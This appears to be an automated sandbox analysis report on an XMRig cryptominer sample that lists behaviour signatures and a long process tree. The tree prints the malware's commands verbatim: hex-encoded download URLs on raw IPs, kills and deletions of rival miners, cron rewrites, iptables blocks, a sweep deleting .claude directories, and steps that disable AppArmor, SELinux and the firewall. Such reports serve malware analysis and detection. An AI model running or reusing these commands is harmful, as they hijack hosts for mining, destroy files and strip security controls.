Analysis
- max time kernel
76s - max time network
71s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
22/10/2026, 14:06
General
- Target afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d5
- Size 68KB
- Sample261022-repdfacz4w
- SHA256 afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d5
Score
10/10
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 2 IoCs
- Deletes system logs 1 TTPs 1 IoCs
Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.
- Disables AppArmor Mandatory Access Control 1 TTPs 28 IoCs
Stops or disables AppArmor via systemctl, removing mandatory access control restrictions on process capabilities and file access.
- Flushes firewall rules 1 TTPs 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
- Modifies the /etc/hosts DNS resolution file 1 TTPs 1 IoCs
Modifying the /etc/hosts name-resolution file changes IP routing, which can facilitate traffic hijacking or the blocking of (security update) endpoints.
- Creates/modifies Cron job 1 TTPs 4 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Disables SELinux 1 TTPs 2 IoCs
Disables SELinux security module.
- Enumerates running processes
Discovers information about currently running processes on the system
- Reads network interface configuration 2 TTPs 6 IoCs
Fetches information about one or more active network interfaces.
- Writes file to system bin folder 8 IoCs
- Checks CPU configuration 1 TTPs 9 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Discovers running processes 1 TTPs 14 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- Reads CPU attributes 1 TTPs 64 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
Processes
-
/tmp/afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d5/tmp/afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d51⤵
- Modifies the /etc/hosts DNS resolution file
- Writes file to system bin folder
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f34352e37342e372e3233342f6173736574732f696d672f75706c6f6164732f2⤵
-
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f38372e3232392e36342e34392f7374617469632f6a732f76656e646f722f2⤵
-
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f34352e37342e372e3232362f6d35317372632f7075626c69632f63616368652f73746f7265732f72656469732f6c616e672⤵
-
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f3231372e3135312e39392e3231362f77702d636f6e74656e742f75706c6f6164732f323032362f30382f2⤵
-
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f3138352e3131392e39302e3230362f776562636861742f696d616765732f66696c6574797065732⤵
-
-
/usr/bin/idid -u2⤵
-
-
/bin/readlinkreadlink /proc/1/exe2⤵
-
-
/bin/readlinkreadlink /proc/10/exe2⤵
-
-
/bin/readlinkreadlink /proc/102/exe2⤵
-
-
/bin/readlinkreadlink /proc/109/exe2⤵
-
-
/bin/readlinkreadlink /proc/11/exe2⤵
-
-
/bin/readlinkreadlink /proc/111/exe2⤵
-
-
/bin/readlinkreadlink /proc/112/exe2⤵
-
-
/bin/readlinkreadlink /proc/12/exe2⤵
-
-
/bin/readlinkreadlink /proc/13/exe2⤵
-
-
/bin/readlinkreadlink /proc/139/exe2⤵
-
-
/bin/readlinkreadlink /proc/14/exe2⤵
-
-
/bin/readlinkreadlink /proc/140/exe2⤵
-
-
/bin/readlinkreadlink /proc/147/exe2⤵
-
-
/bin/readlinkreadlink /proc/15/exe2⤵
-
-
/bin/readlinkreadlink /proc/158/exe2⤵
-
-
/bin/readlinkreadlink /proc/16/exe2⤵
-
-
/bin/readlinkreadlink /proc/17/exe2⤵
-
-
/bin/readlinkreadlink /proc/172/exe2⤵
-
-
/bin/readlinkreadlink /proc/18/exe2⤵
-
-
/bin/readlinkreadlink /proc/19/exe2⤵
-
-
/bin/readlinkreadlink /proc/196/exe2⤵
-
-
/bin/readlinkreadlink /proc/2/exe2⤵
-
-
/bin/readlinkreadlink /proc/20/exe2⤵
-
-
/bin/readlinkreadlink /proc/21/exe2⤵
-
-
/bin/readlinkreadlink /proc/22/exe2⤵
-
-
/bin/readlinkreadlink /proc/225/exe2⤵
-
-
/bin/readlinkreadlink /proc/23/exe2⤵
-
-
/bin/readlinkreadlink /proc/24/exe2⤵
-
-
/bin/readlinkreadlink /proc/25/exe2⤵
-
-
/bin/readlinkreadlink /proc/26/exe2⤵
-
-
/bin/readlinkreadlink /proc/27/exe2⤵
-
-
/bin/readlinkreadlink /proc/28/exe2⤵
-
-
/bin/readlinkreadlink /proc/287/exe2⤵
-
-
/bin/readlinkreadlink /proc/288/exe2⤵
-
-
/bin/readlinkreadlink /proc/29/exe2⤵
-
-
/bin/readlinkreadlink /proc/296/exe2⤵
-
-
/bin/readlinkreadlink /proc/297/exe2⤵
-
-
/bin/readlinkreadlink /proc/3/exe2⤵
-
-
/bin/readlinkreadlink /proc/300/exe2⤵
-
-
/bin/readlinkreadlink /proc/301/exe2⤵
-
-
/bin/readlinkreadlink /proc/318/exe2⤵
-
-
/bin/readlinkreadlink /proc/326/exe2⤵
-
-
/bin/readlinkreadlink /proc/328/exe2⤵
-
-
/bin/readlinkreadlink /proc/4/exe2⤵
-
-
/bin/readlinkreadlink /proc/41/exe2⤵
-
-
/bin/readlinkreadlink /proc/42/exe2⤵
-
-
/bin/readlinkreadlink /proc/43/exe2⤵
-
-
/bin/readlinkreadlink /proc/5/exe2⤵
-
-
/bin/readlinkreadlink /proc/570/exe2⤵
-
-
/bin/readlinkreadlink /proc/585/exe2⤵
-
-
/bin/readlinkreadlink /proc/588/exe2⤵
-
-
/bin/readlinkreadlink /proc/593/exe2⤵
-
-
/bin/readlinkreadlink /proc/594/exe2⤵
-
-
/bin/readlinkreadlink /proc/6/exe2⤵
-
-
/bin/readlinkreadlink /proc/636/exe2⤵
-
-
/bin/readlinkreadlink /proc/637/exe2⤵
-
-
/bin/readlinkreadlink /proc/640/exe2⤵
-
-
/bin/readlinkreadlink /proc/644/exe2⤵
-
-
/bin/readlinkreadlink /proc/645/exe2⤵
-
-
/bin/readlinkreadlink /proc/646/exe2⤵
-
-
/bin/readlinkreadlink /proc/647/exe2⤵
-
-
/bin/readlinkreadlink /proc/651/exe2⤵
-
-
/bin/readlinkreadlink /proc/659/exe2⤵
-
-
/bin/readlinkreadlink /proc/673/exe2⤵
-
-
/bin/readlinkreadlink /proc/7/exe2⤵
-
-
/bin/readlinkreadlink /proc/8/exe2⤵
-
-
/bin/readlinkreadlink /proc/80/exe2⤵
-
-
/bin/readlinkreadlink /proc/9/exe2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/10/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/102/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/109/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/11/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/111/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/112/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/12/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/13/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/139/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/14/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/140/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/147/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/15/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/158/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/16/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/17/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/172/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/18/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/19/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/196/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/2/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/20/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/21/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/22/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/225/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/23/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/24/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/25/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/26/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/27/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/28/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/287/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/288/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/29/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/296/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/297/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/3/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/300/status2⤵
-
-
/bin/readlinkreadlink /proc/300/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/301/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/318/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/326/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/328/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/4/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/41/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/42/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/43/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/5/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/570/status2⤵
-
-
/bin/readlinkreadlink /proc/570/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/585/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/588/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/593/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/594/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/6/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/636/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/637/status2⤵
-
-
/bin/readlinkreadlink /proc/637/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/644/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/645/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/646/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/647/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/659/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/7/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/783/status2⤵
-
-
/bin/readlinkreadlink /proc/783/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/791/status2⤵
-
-
/bin/readlinkreadlink /proc/791/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/8/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/80/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/807/status2⤵
-
-
/bin/readlinkreadlink /proc/807/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/9/status2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/pkillpkill -9 -f auditsd2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f gt_sys_health2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f gt_cron_health2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f gt_sys_wd2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f ssl-compet2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f sslmon2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f mnmonitor2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f cpuhide2⤵
-
-
/usr/bin/pkillpkill -9 -f "\\.xmon"2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f "\\.global"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f rsysloged2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f "\\.sd-top"2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f zzh2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f esocket42⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f "ok\\.sh"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f universal-miner2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f unicorn2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f kthrotlds2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f kdevtmpfsi2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f khugepageds2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f "CRON jobs"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f "sleep 180"2⤵
-
-
/usr/bin/pkillpkill -9 -f "sh jobs"2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f "/bin/sh jobs"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f unicorn2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f apt-update2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f "joker\\."2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f sysnet2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f systemd-journal-shim2⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f hldaemon2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f /etc/cron2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f /etc/kworker2⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f /etc/javaa2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f /dev/shm/javaa2⤵
- Reads CPU attributes
-
-
/bin/rmrm -rf /var/tmp/.sysnet /tmp/.sysnet /dev/shm/.sysnet /etc/.sysnet2⤵
-
-
/bin/rmrm -f /etc/cron /etc/kworker /etc/javaa /dev/shm/javaa /var/tmp/javaa /tmp/javaa /etc/cron.d/javaa2⤵
-
-
/bin/sedsed -i "/kworker/d;/javaa/d" /etc/crontab "/etc/cron.d/*"2⤵
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/bin/grepgrep -vE "kworker|javaa|sysnet"2⤵
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/bin/rmrm -rf /var/tmp/.gt_sys_health /var/tmp/.gt_sys_health.json /var/tmp/.gt_sys_wd.sh /tmp/.gt_cron_health /tmp/.gt_cron_health.json2⤵
-
-
/bin/rmrm -rf /dev/shm/.xmon-112 "/dev/shm/.xmon*" "/dev/shm/xmon*" "/tmp/.xmon*" "/var/tmp/.xmon*" "~/.cache/.dbus/mnmonitor.sh"2⤵
-
-
/bin/rmrm -rf "/opt/*/bin/.global*" "/opt/teamcity/bin/.global*" "/opt/TeamCity/bin/.global*"2⤵
-
-
/bin/rmrm -rf "/tmp/.global*" "/dev/shm/.global*" "/var/tmp/.global*"2⤵
-
-
/bin/rmrm -rf /tmp/.ICEd-unix /dev/shm/.kerberods /tmp/wc.conf /tmp/log_rot /tmp/apachiii /tmp/sustse /tmp/php /tmp/p2.conf /tmp/pprt /tmp/ppol /tmp/httpgd /etc/httpgd /tmp/1.so /tmp/kworkerds /tmp/kworkerds3 /tmp/kworkerdssx /tmp/xd.json /tmp/syslogd /tmp/syslogdb /tmp/dl /tmp/ddg /tmp/systemxlv /tmp/systemctI /tmp/.abc /tmp/osw.hb /tmp/gates.lod /tmp/conf.n /tmp/devtool /tmp/devtools /tmp/fs "/tmp/.rod*" "/tmp/.mer*" "/tmp/.hod*" /tmp/khugepageds /tmp/.kerberods /tmp/kerberods /tmp/seasame /tmp/.scr /dev/shm/z3.sh /dev/shm/z2.sh /dev/shm/.scr /tmp/baby /tmp/.lib /tmp/systemd /tmp/lib.tar.gz /tmp/java /tmp/j2.conf "/tmp/.pt*" /tmp/go /tmp/go.sh /tmp/go2.sh /tmp/is.sh /tmp/touch /tmp/.p /tmp/runtime2.sh /tmp/runtime.sh2⤵
-
-
/bin/rmrm -f /usr/local/lib/libioset.so /usr/bin/config.json /usr/bin/exin /etc/ndt.sh /etc/is.sh2⤵
-
-
/bin/rmrm -rf /tmp/.b /tmp/.salkidwuewerwe /tmp/.mmmjjsdfsdfwerrwerwer /tmp/.universal-miner /root/.universal-miner "/home/*/.universal-miner"2⤵
-
-
/bin/rmrm -rf /tmp/.b/ded /tmp/.salkidwuewerwe/ded /tmp/.mmmjjsdfsdfwerrwerwer/ded2⤵
-
-
/bin/rmrm -rf "/var/www/.syslog*" "/var/tmp/.syslog*" "/tmp/.syslog*" "/dev/shm/.syslog*"2⤵
-
-
/bin/rmrm -rf /var/lib/gitea/data/home/.claude "/var/www/html/*/.claude" /app/gitea/.claude /data/gitea/.claude /data/gitea/home/.claude /data/gitea/data/home/.claude /data/.claude /data/home/.claude2⤵
-
-
/usr/bin/findfind / -type d -name .claude -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*"2⤵
- Reads network interface configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/sbin/iptablesiptables -I OUTPUT -d 95.85.237.226 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 193.41.68.194 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 95.85.237.149 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -p tcp --dport 53535 -j DROP2⤵
-
-
/bin/grepgrep -q apt-update.com /etc/hosts2⤵
-
-
/bin/grepgrep -q joker.aec944b68370194a50.link /etc/hosts2⤵
-
-
/bin/systemctlsystemctl stop moneroocean_miner.service systemde.service2⤵
-
-
/bin/rmrm -rf /tmp/watchdogs /etc/rc.d/init.d/watchdogs /usr/sbin/watchdogs /etc/cron.d/tomcat2⤵
-
-
/usr/bin/findfind / -maxdepth 4 -name ".xmon*" -exec rm -rf "{}" ";"2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/findfind / -maxdepth 4 -name ssl-compet -exec rm -f "{}" ";"2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/findfind / -maxdepth 5 -name ".global*" -exec rm -rf "{}" ";"2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/findfind / -maxdepth 5 -name esocket4 -exec rm -f "{}" ";"2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/findfind / -maxdepth 5 -name mnmonitor.sh -exec rm -f "{}" ";"2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/findfind / -maxdepth 5 -name .xmon_install_dir -exec rm -f "{}" ";"2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/findfind / -maxdepth 5 -name "*.universal-miner*" -exec rm -rf "{}" ";"2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/grepgrep -vE "gt_sys_wd|xmon|mnmonitor|ssl-compet|pastebin.com/raw"2⤵
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/usr/bin/awkawk -F: "\$3>=1000{print \$1}" /etc/passwd2⤵
-
-
/bin/grepgrep -vE "gt_sys_wd|xmon|mnmonitor|ssl-compet|pastebin.com/raw"2⤵
-
-
/usr/bin/crontabcrontab -u nobody -2⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -u nobody -l2⤵
-
-
/bin/grepgrep -vE "gt_sys_wd|xmon|mnmonitor|ssl-compet|pastebin.com/raw"2⤵
-
-
/usr/bin/crontabcrontab -u user -2⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -u user -l2⤵
-
-
/bin/sedsed -i /pastebin/d /etc/crontab "/etc/cron.d/*"2⤵
-
-
/usr/bin/pkillpkill -9 -f pastebin.com/raw2⤵
- Reads CPU attributes
-
-
/sbin/iptablesiptables -I OUTPUT -d 45.77.67.39 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 111.90.158.58 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 111.90.139.202 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 47.86.46.179 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 47.86.46.0/24 -j DROP2⤵
-
-
